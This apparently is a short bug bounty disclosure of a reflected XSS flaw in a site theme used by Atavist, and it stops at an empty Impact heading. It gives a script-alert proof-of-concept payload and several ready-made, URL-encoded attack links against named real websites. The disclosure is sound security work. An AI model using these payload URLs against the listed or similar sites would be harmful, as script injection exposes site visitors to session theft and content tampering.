How it was found

Summary:

Hi team, I found Reflected XSS at a Atavist theme and there are a lot of affected websites. I don't know the theme's name but it's in use at https://magazine.atavist.com/ Just write <script>alert(document.domain)</script> to search field.

https://magazine.atavist.com/search?search=%3Cscript%3Ealert(document.domain)%3C/script%3E https://docs.atavist.com/search?search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Also there are more affected websites like http://www.377union.com/search?search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E , http://www.lifeaftermaria.org/search?search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E etc.

So, I think the scope of this vulnerability is very large.

Impact
